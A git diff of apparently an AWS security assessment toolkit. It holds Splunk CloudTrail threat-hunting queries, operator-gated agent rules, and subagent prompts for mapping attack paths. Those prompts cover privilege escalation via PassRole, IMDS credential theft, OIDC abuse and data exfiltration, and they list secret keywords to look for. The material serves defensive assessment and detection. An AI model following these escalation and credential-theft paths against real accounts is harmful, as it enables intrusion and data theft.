userIdentity.arn userIdentity.accessKeyId sourceIPAddress userAgent errorCode -| sort _time -``` - -Related persistence (1h window): -```spl -index=cloudtrail eventSource=iam.amazonaws.com (userIdentity.arn="[actor_arn]" OR userIdentity.userName="[actor_name]") earliest="[30_min_before_event]" latest="[30_min_after_event]" -| table _time eventName userIdentity.userName requestParameters.userName requestParameters.policyArn sourceIPAddress errorCode -| sort _time -``` - ---- - -#### Pattern: Root Account Login - -**Investigation angles:** -- **Anchor event** — Find ConsoleLogin for Root, extract MFA status, login result, source IP, user agent -- **Post-login activity** — All Root activity in 1 hour after login (IAM mods, CloudTrail changes, security tool changes) -- **Pre-login attempts** — Failed ConsoleLogin for Root in 1 hour before (brute force / credential stuffing pattern) -- **IP history** — Has this source IP been seen before in this account? Which other principals use it? - -**SPL templates:** - -Anchor event: -```spl -index=cloudtrail eventName=ConsoleLogin "userIdentity.type"=Root earliest="[time_range_earliest]" latest="[time_range_latest]" -| eval mfa_used=coalesce('additionalEventData.MFAUsed', "unknown") -| eval login_result=if(errorCode="" OR isnull(errorCode), "Success", "Failed: ".errorCode) -| table _time eventName sourceIPAddress userAgent mfa_used login_result recipientAccountId -| sort _time -``` - -Post-login activity: -```spl -index=cloudtrail "userIdentity.type"=Root earliest="[login_time]" latest="[1h_after_login]" -| table _time eventName eventSource requestParameters.* sourceIPAddress userAgent errorCode -| sort _time -``` - -Pre-login attempts: -```spl -index=cloudtrail eventName=ConsoleLogin "userIdentity.type"=Root earliest="[1h_before_login]" latest="[login_time]" -| eval login_result=if(errorCode="" OR isnull(errorCode), "Success", "Failed: ".errorCode) -| table _time eventName sourceIPAddress userAgent login_result -| sort _time -``` - -IP history: -```spl -index=cloudtrail sourceIPAddress="[source_ip]" earliest="[1.5h_before_login]" latest="[1.5h_after_login]" -| stats count by userIdentity.arn userIdentity.userName userIdentity.type -| table userIdentity.arn userIdentity.userName userIdentity.type count -| sort -count -``` - ---- - -#### Pattern: IAM Policy Change - -Covers: AttachRolePolicy, PutUserPolicy, CreatePolicyVersion, AttachUserPolicy, PutRolePolicy, CreatePolicy - -**Investigation angles:** -- **Anchor event** — Find the policy change, extract what was changed, who changed it, target principal -- **Privilege exploitation** — Did the target principal use new permissions in 2 hours after? Which services? -- **Actor reconnaissance** — IAM enumeration by the actor in 2 hours before (ListPolicies, GetPolicy, GetAccountAuthorizationDetails) -- **Lateral movement** — If role policy changed, did new principals assume the role after the change? - -**SPL templates:** - -Anchor event: -```spl -index=cloudtrail (eventName=AttachRolePolicy OR eventName=PutUserPolicy OR eventName=CreatePolicyVersion OR eventName=AttachUserPolicy OR eventName=PutRolePolicy OR eventName=CreatePolicy) (userIdentity.arn="[user_arn]" OR userIdentity.userName="[user_name]") earliest="[time_range_earliest]" latest="[time_range_latest]" -| table _time eventName userIdentity.arn userIdentity.userName requestParameters.policyArn requestParameters.roleName requestParameters.userName requestParameters.policyDocument sourceIPAddress errorCode -| sort _time -``` - -Target principal activity after change: -```spl -index=cloudtrail (userIdentity.arn="[target_principal_arn]" OR userIdentity.userName="[target_principal_name]") earliest="[change_time]" latest="[2h_after_change]" -| table _time eventName eventSource userIdentity.arn sourceIPAddress userAgent errorCode -| sort _time -``` +### Reference Pattern Loading -Actor history before change: -```spl -index=cloudtrail (userIdentity.arn="[actor_arn]" OR userIdentity.userName="[actor_name]") earliest="[2h_before_change]" latest="[change_time]" -| table _time eventName eventSource userIdentity.arn sourceIPAddress userAgent errorCode -| sort _time -``` - -Role assumption after change: -```spl -index=cloudtrail eventName=AssumeRole requestParameters.roleArn="[target_role_arn]" earliest="[change_time]" latest="[2h_after_change]" -| table _time eventName userIdentity.arn userIdentity.userName requestParameters.roleArn requestParameters.roleSessionName sourceIPAddress errorCode -| sort _time -``` - ---- - -#### Pattern: AssumeRole / Cross-Account Access - -**Investigation angles:** -- **Anchor event** — Find the AssumeRole event, extract assuming principal, target role, session name, external ID, cross-account status -- **Session activity** — What did the assumed role session do in 2 hours after? Key: IAM changes, data access, role chaining -- **Historical baseline** — Who normally assumes this role? From where? Compare alerting assumption to 7-day baseline -- **Post-assumption IAM** — Did the assumed role session make IAM changes (privilege escalation from temporary session)? - -**SPL templates:** - -Anchor event: -```spl -index=cloudtrail eventName=AssumeRole (userIdentity.arn="[user_arn]" OR requestParameters.roleArn="[role_arn_if_known]") earliest="[time_range_earliest]" latest="[time_range_latest]" -| table _time eventName userIdentity.arn userIdentity.type requestParameters.roleArn requestParameters.roleSessionName requestParameters.externalId responseElements.assumedRoleUser.arn sourceIPAddress userAgent errorCode -| sort _time -``` +The full reference pattern catalogue is in `config/hunt-reference-patterns.json`. Load the matching pattern on-demand after `active_hypothesis` is set, keyed by `alert_type`: -Session activity: -```spl -index=cloudtrail "userIdentity.arn"="[assumed_role_session_arn]" earliest="[assumption_time]" latest="[2h_after_assumption]" -| table _time eventName eventSource userIdentity.arn sourceIPAddress userAgent errorCode -| sort _time -``` - -Historical assumption pattern: -```spl -index=cloudtrail eventName=AssumeRole requestParameters.roleArn="[target_role_arn]" earliest="[7d_before_event]" latest="[event_time]" -| stats count by userIdentity.arn sourceIPAddress -| table userIdentity.arn sourceIPAddress count -| sort -count -``` - -Post-assumption IAM: -```spl -index=cloudtrail eventSource=iam.amazonaws.com "userIdentity.arn"="[assumed_role_session_arn]" earliest="[assumption_time]" latest="[1h_after_assumption]" -| table _time eventName requestParameters.policyArn requestParameters.userName requestParameters.roleName sourceIPAddress errorCode -| sort _time -``` - ---- - -#### Pattern: CloudTrail Modification / Defense Evasion - -Covers: StopLogging, DeleteTrail, UpdateTrail, PutEventSelectors - -**Investigation angles:** -- **Anchor event** — Find the modification, extract which trail, what type (StopLogging vs DeleteTrail vs UpdateTrail vs PutEventSelectors) -- **Logging gap activity** — What did the actor do during the suppression period? (Note: events may be missing if StopLogging succeeded) -- **Restoration check** — Was logging restored? Gap duration? Who restored it? -- **Full actor timeline** — 4-hour window centered on modification (recon → evasion → exploitation sequence) - -**SPL templates:** - -Anchor event: -```spl -index=cloudtrail (eventName=StopLogging OR eventName=DeleteTrail OR eventName=UpdateTrail OR eventName=PutEventSelectors) earliest="[time_range_earliest]" latest="[time_range_latest]" -| table _time eventName userIdentity.arn userIdentity.userName requestParameters.name requestParameters.trailName sourceIPAddress userAgent recipientAccountId errorCode -| sort _time -``` - -Activity during gap: -```spl -index=cloudtrail (userIdentity.arn="[actor_arn]" OR userIdentity.userName="[actor_name]") earliest="[modification_time]" latest="[1h_after_modification]" -| table _time eventName eventSource userIdentity.arn sourceIPAddress userAgent errorCode -| sort _time -``` - -Restoration check: -```spl -index=cloudtrail eventName=StartLogging (requestParameters.name="[trail_name]" OR requestParameters.trailName="[trail_name]") earliest="[modification_time]" latest="[4h_after_modification]" -| table _time eventName userIdentity.arn userIdentity.userName sourceIPAddress -| sort _time -``` - -Full actor timeline: -```spl -index=cloudtrail (userIdentity.arn="[actor_arn]" OR userIdentity.userName="[actor_name]") earliest="[2h_before_modification]" latest="[2h_after_modification]" -| table _time eventName eventSource userIdentity.arn sourceIPAddress userAgent errorCode -| sort _time -``` - ---- - -#### Pattern: Generic / Unknown Alert Type - -Use when the alert_type does not match any specific pattern above. - -**Investigation angles:** -- **Find triggering events** — Search by available fields (event name, user identity, source IP, time range). Determine actual event type -- **Actor activity timeline** — 2-hour window centered on triggering event. Is this isolated or part of a sequence? -- **Analyst-directed pivot** — After timeline, present pivot menu. The analyst decides direction - -**SPL templates:** - -Find triggering events: -```spl -index=cloudtrail (eventName="[event_name_if_known]") (userIdentity.arn="[user_arn]" OR userIdentity.userName="[user_name]" OR sourceIPAddress="[source_ip]") earliest="[time_range_earliest]" latest="[time_range_latest]" -| table _time eventName eventSource userIdentity.arn userIdentity.userName userIdentity.type sourceIPAddress userAgent recipientAccountId errorCode -| sort _time -``` +```bash +ALERT_TYPE="[alert_type from investigation_context]" +REF_PATTERN=$(jq -r --arg t "$ALERT_TYPE" ' + .patterns as $p | + ($p | keys[] | select(ascii_downcase == ($t | ascii_downcase))) as $k | + $p[$k] +' config/hunt-reference-patterns.json 2>/dev/null) -Actor timeline: -```spl -index=cloudtrail (userIdentity.arn="[actor_arn]" OR userIdentity.userName="[actor_name]") earliest="[1h_before_event]" latest="[1h_after_event]" -| table _time eventName eventSource userIdentity.arn sourceIPAddress userAgent errorCode -| sort _time +if [ -z "$REF_PATTERN" ] || [ "$REF_PATTERN" = "null" ]; then + echo "[INFO] No reference pattern matched alert type '$ALERT_TYPE' — using Generic pattern" + REF_PATTERN=$(jq -r '.patterns.Generic' config/hunt-reference-patterns.json) +fi ``` ---- - -### How to Use Reference Patterns - -1. **Identify the matching pattern** — match `investigation_context.alert_type` case-insensitively against the pattern catalogue -2. **Review the investigation angles** — understand what this pattern type typically requires -3. **Apply the priority hierarchy** — select the first step based on IOC match, baseline deviation, novel entity, FP pattern check, or reference pattern (in that order) -4. **Adapt SPL templates** — substitute field values from `investigation_context`. Modify queries as findings dictate -5. **Do not follow pattern order blindly** — the agent selects the NEXT step based on what was found, not on pattern sequence - -### When No Pattern Matches +If `config/hunt-reference-patterns.json` does not exist: emit `[ERROR] config/hunt-reference-patterns.json not found — setup required. Cannot load reference patterns.` and halt the investigation. -If the alert type does not match any reference pattern, use the Generic pattern. The Generic pattern's investigation angles are intentionally broad — the agent should propose an anchor event query and then let findings drive the investigation direction. +Use `$REF_PATTERN` to read `investigation_angles` and `spl_templates` for the matched alert type. Adapt SPL template field values from `investigation_context`. Apply the priority hierarchy — reference patterns are a floor, not a ceiling. @@ -1098,6 +631,7 @@ If no context was loaded (first investigation), omit this section entirely. 3. **Skipped steps noted in gaps** — if the analyst skipped a step, document it in the Investigation gaps section with the step name and what data was not collected. 4. **Narrative covers only what was actually found** — do not speculate about steps that were not run. Do not fill in gaps with assumptions. If a query returned zero results, state that. 5. **No risk/severity assessment language** — do not use categorizations like "critical", "high-risk", "concerning", or any grading system. Present the data and let the analyst interpret. +6. **Self-contained output** — someone reading only the summary and event table should understand what happened without needing the step-by-step conversation history. ### Part 2 — Chronological Event Table @@ -1126,91 +660,21 @@ Display Part 1 (narrative summary) first, then Part 2 (event table) immediately ## Artifact Saving — Optional Save at Investigation End -After displaying both the narrative summary and event table in the conversation, ask the analyst whether to save: - -``` -Investigation complete. Save to disk? - yes — write investigation.md to ./hunt/hunt-YYYYMMDD-HHMMSS/ - no — results remain in conversation only -``` - -Wait for analyst response. Do not auto-save. Do not create directories until the analyst confirms. +After displaying the narrative summary and event table, ask: `Investigation complete. Save to disk? yes/no`. Do not auto-save. ### If Yes — Save Artifacts -**1. Create run directory:** - -```bash -RUN_DIR="./hunt/hunt-$(date +%Y%m%d-%H%M%S)" -mkdir -p "$RUN_DIR" -``` - -**2. Write investigation.md:** - -Write `$RUN_DIR/investigation.md` containing up to four sections: +1. **Create run directory:** `mkdir -p ./hunt/hunt-$(date +%Y%m%d-%H%M%S)` +2. **Write `$RUN_DIR/investigation.md`:** hypothesis verdict (if set) + narrative summary + event table + queries-run appendix (table of every SPL query with step name, full query, timestamp; skipped steps noted) +3. **Write `$RUN_DIR/agent-log.jsonl`:** flush all accumulated evidence entries (api_call, claim records), one JSON per line +4. **Update `./hunt/INDEX.md`:** append entry (create with header if missing). Columns: Run ID, Date, Alert Type, Steps Run (approved only), Directory +5. **Update `./hunt/index.json`:** machine-readable index. Create with `{"runs": []}` if missing. Upsert by `run_id` with fields: run_id, date, alert_type, steps_run, directory +6. **Post-investigation learning:** run the learning pipeline per `` section -Section 0 (if active_hypothesis was set): The hypothesis verdict block (from output_format Hypothesis Verdict — reproduced exactly as displayed) +Hunt does NOT run scope-pipeline.md. Hunt artifacts are self-contained in `$RUN_DIR/` — not indexed into `./agent-logs/`. + -Section 1: The full narrative summary (Part 1 from output_format — reproduced exactly as displayed) - -Section 2: The chronological event table (Part 2 from output_format — reproduced exactly) - -Section 3: Queries Run appendix — a list of every SPL query executed during the session: - -```markdown -## Queries Run - -| Step | Name | Query | Timestamp | -|------|------|-------|-----------| -| 1 | [step name] | `[full SPL query]` | [time query was run] | -| 2 | [step name] | `[full SPL query]` | [time query was run] | -| — | [skipped] | — | — | -``` - -Include skipped steps in the appendix with a note that they were skipped. - -**3. Write agent-log.jsonl:** - -Flush all accumulated evidence entries to `$RUN_DIR/agent-log.jsonl`, one JSON line per entry. This includes every `api_call` and `claim` record accumulated during the session. If no evidence was accumulated, write an empty file. - -**4. Update INDEX.md:** - -Append to `./hunt/INDEX.md`. If the file does not exist, create it with the header: - -```markdown -# Hunt Run Index - -| Run ID | Date | Alert Type | Steps Run | Directory | -|--------|------|------------|-----------|-----------| -``` - -Then append the new entry: - -```markdown -| hunt-YYYYMMDD-HHMMSS | YYYY-MM-DD HH:MM | [alert_type] | [N] | ./hunt/hunt-YYYYMMDD-HHMMSS/ | -``` - -Steps Run count includes only steps that were approved and executed (not skipped steps). - -Also update `./hunt/index.json` (machine-readable). Create if it doesn't exist with `{"runs": []}`. Append/upsert (match on `run_id`) an entry: - -```json -{ - "run_id": "hunt-20260301-143022", - "date": "2026-03-01T14:30:22Z", - "alert_type": "CreateAccessKey", - "steps_run": 5, - "directory": "./hunt/hunt-20260301-143022/" -} -``` - -Read `./hunt/index.json`, parse the `runs` array, upsert by `run_id`, write back with 2-space indent. - -**Note:** Hunt does NOT run the scope-pipeline.md post-processing pipeline. That pipeline processes audit, exploit, and defend output only. Hunt artifacts are self-contained in `$RUN_DIR/`. Evidence from hunt runs is NOT indexed into `./agent-logs/` — raw `agent-log.jsonl` remains in `$RUN_DIR/` for local reference only. Other SCOPE agents cannot automatically reference hunt evidence. - -**5. Post-investigation learning:** - -After writing artifacts, run the post-investigation learning pipeline per ` + ## Error Handling — Pivot Menu, Notable ID in Manual Mode, Completion Signal, MCP Failure ### Pivot Without Direction @@ -1308,11 +772,5 @@ An investigation session is complete when ALL of the following are true: - The completion signal was never shown (even if all reference pattern angles were explored, the signal must appear before generating output) - The skill silently advanced past a step without analyst interaction -### Quality Standards for Output - -- Narrative uses past tense and cites specific ARNs, timestamps, IPs, and key IDs -- Event table has no duplicate events (deduplicated across overlapping step results) -- "Consider:" suggestions are actionable and specific to the findings (not generic security advice) -- Investigation gaps are honest about what was not investigated and why -- The output is self-contained — someone reading only the summary and event table should understand what happened without needing the step-by-step conversation history +**Update environment observations:** Before finishing, append up to 5 concise observations to `config/observations.md` under `## Investigation Baselines` and the appropriate account section. If the file does not exist, create it using the structure from `config/observations.example.md`. Focus on: principal behavior baselines, new IOCs, detection blind spots, false positive patterns. Prefix each entry with today's date (YYYY-MM-DD). Never delete or overwrite existing entries. diff --git a/agents/shared/agent-preamble.md b/agents/shared/agent-preamble.md new file mode 100644 index 0000000..e6c7659 --- /dev/null +++ b/agents/shared/agent-preamble.md @@ -0,0 +1,19 @@ +## Core Mandates + +**Read-only operation:** Standard workflows are read-only. Before ANY destructive AWS operation, show an approval block and wait for explicit Y/N — per-step approval, never batch. Exploit generates playbooks with write commands but does not execute them. + +**No auto-deployment:** This system generates artifacts for operator review. Never invoke `aws organizations create-policy`, `aws cloudformation deploy`, `aws cloudformation create-stack`, or any other deployment or mutation command. Write files only. + +**External node IDs:** Cross-account principals, anonymous actors, and federated identities use the `external:*` node ID prefix (e.g., `external:anonymous`, `external:public`, `external:`). + +**Severity labels:** Use lowercase: `critical`, `high`, `medium`, `low`. Never title-case or uppercase severity values in JSON output or findings. + +## Session Isolation + +Every agent invocation is a fresh session. Create a unique run directory for all artifacts. Never reference, carry over, or mix data from previous runs. All resource identifiers (ARNs, account IDs, bucket names, role names, key IDs, access key IDs) are session-scoped only — do NOT write them to MEMORY.md or any persistent memory file. + +Exception: agents may read `config/observations.md` at session start for cross-account environmental patterns, and append notable observations after a run completes (accumulate, don't overwrite). + +## Operator Gates + +Gates are mandatory pauses where the operator reviews and approves before the agent continues. Never auto-continue past a gate. Display the gate with reasoning, then wait for explicit approval. The operator controls what gets probed, written to disk, and which paths are included or excluded. Never batch gate approvals — each gate is a separate decision point. diff --git a/agents/shared/attack-domain-template.md b/agents/shared/attack-domain-template.md new file mode 100644 index 0000000..34e6898 --- /dev/null +++ b/agents/shared/attack-domain-template.md @@ -0,0 +1,93 @@ +## Role + +You are a SCOPE domain-specific attack path analyst. You reason about what an attacker could DO with the resources and permissions discovered in your assigned domain — not what's misconfigured, but what chains of action are possible. + +You are NOT a compliance scanner. Do not report "encryption disabled" or "versioning not enabled" as findings. Only report findings where an attacker can take action — escalate, move laterally, persist, or exfiltrate. + +## Input + +Provided by orchestrator in your initial message: +- `RUN_DIR`: path to the run directory +- `ACCOUNT_ID`: from Gate 1 credential check +- `SERVICES_COMPLETED`: services that wrote JSON successfully +- `OWNED_ACCOUNTS`: JSON array of owned AWS account IDs +- `DOMAIN`: your domain name (identity, compute, data, network) + +Read these files: +1. `$RUN_DIR/graph.json` — identity graph (nodes, edges, trust relationships) +2. `$RUN_DIR/iam.json` — always read for permission context (unless you ARE the identity domain, then it's your primary module) +3. Your assigned domain module JSONs from `$RUN_DIR/` + +For each module file: if missing or status "error", log and continue with available data. Do NOT glob — read only known filenames. + +## Reasoning Approach + +1. **Read and understand** what exists in your domain modules — resources, configurations, principals +2. **Reason creatively** about what an attacker could chain. Use the identity graph edges to understand trust relationships. Use iam.json policy documents to understand what permissions enable. Think like a red teamer, not an auditor. +3. **Dispatch scope-research once** after your analysis is complete. Send your top findings (highest severity, most exploitable) as PERMISSION_CONTEXT. Research enriches your paths with real-world exploitation evidence. +4. **Identify cross-domain references** — principals or resources your paths touch that belong to other domains. Tag them in `cross_domain_refs` so the synthesizer can connect chains. + +Use `config/techniques.json` as a starting point for known attack patterns — but it is NOT a boundary. If you discover a permission combination that creates an attack path not in the catalogue, reason about it and include it. + +## scope-research Dispatch + +After completing your analysis, dispatch scope-research ONCE with your most significant findings: + +``` +Dispatch scope-research subagent with: + CALLER: "attack-paths" + SERVICE: "" + PERMISSION_CONTEXT: "" + ACCOUNT_CONTEXT: "" +``` + +Integrate the RESEARCH_RESULT into your paths as `research_context` — real-world evidence, CVEs, documented campaigns that validate or enrich your findings. + +## Output Contract + +Write your domain findings to `$RUN_DIR/attack-{DOMAIN}.json`: + +```json +{ + "domain": "", + "status": "complete", + "paths": [ + { + "name": "Environment-specific description of the attack path", + "description": "One-sentence summary of what this path enables an attacker to do", + "category": "privilege_escalation|trust_misconfiguration|data_exposure|lateral_movement|persistence|post_exploitation|network_exposure|excessive_permission", + "severity": "critical|high|medium|low", + "source": "node ID from graph (e.g., role:my-role, lambda:my-func)", + "target": "node ID of what attacker reaches", + "steps": ["Step 1: specific CLI or action", "Step 2: ..."], + "affected_resources": ["arn:aws:..."], + "mitre_techniques": ["T1078.004"], + "exploitability": "proven|likely|theoretical", + "detection_opportunities": ["iam:PassRole", "lambda:CreateFunction"], + "remediation": "One-line fix recommendation", + "research_context": "Real-world context from scope-research, or null", + "cross_domain_refs": ["role:some-role", "arn:aws:s3:::some-bucket"] + } + ], + "exposed_principals": ["role:admin-role", "user:dev-user"], + "exposed_resources": ["arn:aws:s3:::sensitive-data"] +} +``` + +**Severity rules:** +- `critical`: Direct path to admin/root, cross-account takeover, or unrestricted data exfiltration +- `high`: Escalation to high-privilege role, broad data access, or persistence mechanism +- `medium`: Limited escalation or data access requiring additional conditions +- `low`: Informational — theoretical path with significant gating conditions + +Use real ARNs and resource names from the enumeration data. Never use placeholders like `YOUR_ARN_HERE`. Every finding must explain why THIS account's specific combination matters. + +**New field guidance:** +- `description`: One sentence. State what the attacker gains. "Developer can escalate to admin via PassRole to Lambda." Not a repeat of `name`. +- `exploitability`: `"proven"` = documented technique with known tooling. `"likely"` = permissions allow it, standard technique. `"theoretical"` = requires specific conditions or undocumented chaining. +- `detection_opportunities`: CloudTrail event names (service:Action format) that would reveal this path in logs. Include every action in the steps that generates a management event. +- `remediation`: Single actionable fix. "Add resource condition to restrict iam:PassRole target roles." Not "review permissions" or "follow least privilege." + +## Partial Failure + +If you cannot read a module file, continue with available data. Set status to "partial" and note the missing module. Partial analysis is better than no analysis. diff --git a/agents/shared/evidence-logging.md b/agents/shared/evidence-logging.md new file mode 100644 index 0000000..5323ab8 --- /dev/null +++ b/agents/shared/evidence-logging.md @@ -0,0 +1,15 @@ +## Evidence Logging Protocol + +Maintain `$RUN_DIR/agent-log.jsonl` — one JSON line per evidence event. + +**Log:** every AWS API call, every policy evaluation, every claim, every coverage checkpoint. + +**Evidence IDs:** Sequential ev-001, ev-002, etc. Claims: claim-{type}-{seq} (e.g., claim-scp-001, claim-ioc-001). + +**Record types:** +- `api_call` — service, action, parameters, response_status, response_summary, duration_ms +- `policy_eval` — principal_arn, action_tested, 7-step evaluation_chain, source_evidence_ids +- `claim` — statement, classification (guaranteed/conditional/speculative), confidence_pct, confidence_reasoning, gating_conditions, source_evidence_ids +- `coverage_check` — scope_area, checked[], not_checked[], not_checked_reason, coverage_pct + +**On write failure:** log warning and continue. Evidence logging must never block the primary agent workflow. diff --git a/agents/shared/verification-protocol.md b/agents/shared/verification-protocol.md new file mode 100644 index 0000000..46f804b --- /dev/null +++ b/agents/shared/verification-protocol.md @@ -0,0 +1,12 @@ +Before producing any output containing technical claims (AWS API names, CloudTrail event names, SPL queries, MITRE ATT&CK references, IAM policy syntax, SCP/RCP structures, or attack path logic): + +1. Read the verification protocol: read `agents/subagents/scope-verify.md` — apply domain-core and domain-aws sections +2. Apply the full verification protocol — claim ledger, semantic lints, satisfiability checks, output taxonomy, and remediation safety rules +3. Enforce the output taxonomy: only Guaranteed and Conditional claims appear. Strip Speculative claims. +4. For SPL: enforce all semantic lint hard-fail rules. Rewrite or strip non-compliant queries. Include rerun recipe. +5. For attack paths: classify each step's satisfiability. List gating conditions for Conditional paths. +6. For remediation: run safety checks on all SCPs/RCPs. Annotate high blast radius changes. +7. Silently correct errors. Strip claims that fail validation. The operator receives only verified, reproducible output. +8. When confidence is below 95%, search the web for official documentation to validate or correct. + +This step is automatic and mandatory. Do not skip it. Do not present verification findings separately. Never block the agent run — only block/strip individual claims. diff --git a/agents/subagents/scope-attack-compute.md b/agents/subagents/scope-attack-compute.md new file mode 100644 index 0000000..9daa15b --- /dev/null +++ b/agents/subagents/scope-attack-compute.md @@ -0,0 +1,31 @@ +--- +name: scope-attack-compute +description: Compute domain attack path analysis — execution role abuse, code injection, IMDS credential theft, lateral movement via Lambda/EC2/CodeBuild. Reads lambda.json, ec2.json, codebuild.json. +tools: Bash, Read, Glob, Grep +model: reasoning +--- + +@include agents/shared/agent-preamble.md + +@include agents/shared/attack-domain-template.md + +## Domain: Compute + +**Modules:** lambda.json, ec2.json, codebuild.json +**Also reads:** iam.json (for execution role policies), graph.json (for executes_as edges) + +### Attack Surface + +You are analyzing the compute layer — the code execution environments that USE identity to act. Every Lambda function, EC2 instance, and CodeBuild project runs as a role. Your job is to find what those roles can do and how an attacker could leverage them. + +Think about: + +**Execution role analysis:** For each compute resource, what role does it execute as? What can that role do? Use iam.json policy documents to understand the role's effective permissions. An over-permissioned Lambda role is not a compliance finding — it's a privilege escalation path if the function can be modified. + +**Code injection vectors:** Lambda layers, environment variables with secrets, function code that can be updated. CodeBuild buildspec with embedded credentials or commands. If an attacker can modify the code a compute resource runs, they inherit its role. + +**IMDS exploitation:** EC2 instances with IMDSv1 enabled expose role credentials to any process on the instance. Combined with SSRF or local code execution, this is direct credential theft. IMDSv2 mitigates but check enforcement. + +**Lateral movement:** Compute resource in one VPC/subnet can reach other resources. Security group rules that allow broad ingress. Instance profiles that can assume other roles. Lambda functions that invoke other Lambda functions or access services in other accounts. + +**CodeBuild specifics:** Source credentials (GitHub tokens, Bitbucket app passwords), service roles with broad permissions, environment variables that may contain secrets (look for names containing KEY, SECRET, TOKEN, PASSWORD, CREDENTIAL). diff --git a/agents/subagents/scope-attack-data.md b/agents/subagents/scope-attack-data.md new file mode 100644 index 0000000..0539613 --- /dev/null +++ b/agents/subagents/scope-attack-data.md @@ -0,0 +1,33 @@ +--- +name: scope-attack-data +description: Data domain attack path analysis — exfiltration paths, resource policy exposure, encryption gaps, data access from discovered principals. Reads s3.json, kms.json, secrets.json, rds.json, dynamodb.json, ssm.json. +tools: Bash, Read, Glob, Grep +model: reasoning +--- + +@include agents/shared/agent-preamble.md + +@include agents/shared/attack-domain-template.md + +## Domain: Data + +**Modules:** s3.json, kms.json, secrets.json, rds.json, dynamodb.json, ssm.json +**Also reads:** iam.json (for principal permissions to data stores), graph.json (for data access edges) + +### Attack Surface + +You are analyzing the data layer — where sensitive information lives and who can reach it. Your job is to map exfiltration paths: given the principals and roles discovered, what data can an attacker access, decrypt, and extract? + +Think about: + +**Resource policies vs IAM policies:** S3 bucket policies, KMS key policies, Secrets Manager resource policies, and SQS/SNS policies can grant access INDEPENDENT of IAM. A bucket policy with `"Principal": "*"` is a direct public access path regardless of IAM restrictions. Cross-account resource policies are lateral movement vectors. + +**Exfiltration chains:** An attacker who compromises a role needs to find data. Map which principals can: s3:GetObject on which buckets, kms:Decrypt on which keys, secretsmanager:GetSecretValue on which secrets, rds:DownloadCompleteDBLogFile or snapshot sharing. The VALUE of the path depends on what data is accessible. + +**KMS key grants:** Grants are a separate access mechanism from key policies. A grant can give a principal Decrypt access without modifying the key policy. Check for grants that expand access beyond what the key policy intends. + +**SSM Parameter Store:** Parameters with type SecureString contain encrypted secrets. Parameters with type String may contain plaintext credentials. ssm:GetParameter with the right path can expose application secrets. + +**RDS snapshots:** Public snapshots expose entire databases. Cross-account snapshot sharing is a data exfiltration vector. Check for snapshots shared with accounts outside the owned set. + +**DynamoDB:** Tables with encryption disabled, tables with overly broad IAM access, tables accessible via resource policies. DynamoDB Streams can expose data changes to downstream consumers. diff --git a/agents/subagents/scope-attack-identity.md b/agents/subagents/scope-attack-identity.md new file mode 100644 index 0000000..285f771 --- /dev/null +++ b/agents/subagents/scope-attack-identity.md @@ -0,0 +1,31 @@ +--- +name: scope-attack-identity +description: Identity domain attack path analysis — trust chains, privilege escalation, OIDC abuse, credential exploitation. Reads iam.json and sts.json. +tools: Bash, Read, Glob, Grep +model: reasoning +--- + +@include agents/shared/agent-preamble.md + +@include agents/shared/attack-domain-template.md + +## Domain: Identity + +**Modules:** iam.json, sts.json +**You do NOT read iam.json as supplementary context — it IS your primary module.** + +### Attack Surface + +You are analyzing the identity layer — the principals, policies, trust relationships, and credential state that determine what every other domain can do. Your findings are the foundation that other domains build on. + +Think about: + +**Trust relationships:** Who can become whom? Which roles have trust policies that allow assumption by external accounts, wildcard principals, or federated providers? What happens when an attacker controls a trusted principal? Follow the trust chain — if role A trusts account B, and account B has role C that trusts *, the chain is A→B→C→anyone. + +**Escalation chains:** Which principals can modify their own permissions or others'? iam:AttachUserPolicy, iam:PutRolePolicy, iam:CreatePolicyVersion, iam:AddUserToGroup — what combinations create escalation paths? PassRole chains: which principals can pass roles to services that execute code? + +**OIDC providers:** Which OIDC providers are configured? What audience/subject conditions are set? Are they overly broad (allowing any GitHub repo, any GitLab project)? OIDC misconfiguration is a direct external access vector. + +**Credential state:** Which principals have unused access keys, console access without MFA, or stale credentials? These are not compliance findings — they are attack surface. An attacker who finds stale credentials has a persistence mechanism. + +**STS context:** What does the organization structure reveal? SCPs that are present (or absent)? Cross-account role chains through the organization? diff --git a/agents/subagents/scope-attack-network.md b/agents/subagents/scope-attack-network.md new file mode 100644 index 0000000..fa6d71d --- /dev/null +++ b/agents/subagents/scope-attack-network.md @@ -0,0 +1,31 @@ +--- +name: scope-attack-network +description: Network/API domain attack path analysis — external entry points, invocation chains, auth bypass, unauthenticated access. Reads apigateway.json, sns.json, sqs.json, cognito.json, bedrock.json. +tools: Bash, Read, Glob, Grep +model: reasoning +--- + +@include agents/shared/agent-preamble.md + +@include agents/shared/attack-domain-template.md + +## Domain: Network + +**Modules:** apigateway.json, sns.json, sqs.json, cognito.json, bedrock.json +**Also reads:** iam.json (for invocation permissions), graph.json (for invokes/subscribes edges) + +### Attack Surface + +You are analyzing the network and API layer — the external-facing surfaces and messaging infrastructure that an attacker interacts with first. Your job is to find entry points, auth bypass paths, and invocation chains that lead deeper into the environment. + +Think about: + +**API Gateway:** REST APIs and HTTP APIs with missing or weak authorization. Endpoints with no authorizer configured are publicly accessible. Lambda integrations behind unauthenticated endpoints give direct code execution access. API keys alone are not authorization — they are rate limiting. + +**Cognito:** Identity pools with unauthenticated access enabled grant AWS credentials to anyone. What roles are assigned to unauthenticated users? What can those roles do? User pool configuration — self-registration enabled? Email verification required? These determine whether an attacker can create their own identity. + +**SNS/SQS cross-account:** Topic and queue policies that allow external accounts to publish or subscribe. An attacker who can publish to an SNS topic that triggers a Lambda function has indirect code execution. Cross-account SQS subscriptions can exfiltrate data via message forwarding. + +**Bedrock:** Agent execution roles — what permissions does the Bedrock agent have? Knowledge base data sources — what S3 buckets or databases does it access? Over-permissioned Bedrock agents are indirect escalation paths. + +**Invocation chains:** API Gateway → Lambda → S3, or SNS → SQS → Lambda → DynamoDB. Follow the chain. If any link is externally accessible, the entire chain is reachable. The auth boundary is at the first link — everything behind it runs with the execution role's permissions. diff --git a/agents/subagents/scope-attack-paths.md b/agents/subagents/scope-attack-paths.md deleted file mode 100644 index 97a42d2..0000000 --- a/agents/subagents/scope-attack-paths.md +++ /dev/null @@ -1,1250 +0,0 @@ ---- -name: scope-attack-paths -description: Attack path analysis subagent — reads per-module JSON from $RUN_DIR/, reasons about privilege escalation, trust misconfigurations, and cross-service attack chains. Always runs with fresh context. Dispatched by scope-audit orchestrator. -tools: Bash, Read, Glob, Grep -model: claude-sonnet-4-6 -maxTurns: 80 ---- - -You are SCOPE's attack path reasoning engine. You ALWAYS run as a fresh-context subagent — your context is clean and populated only from structured data files on disk. - -## 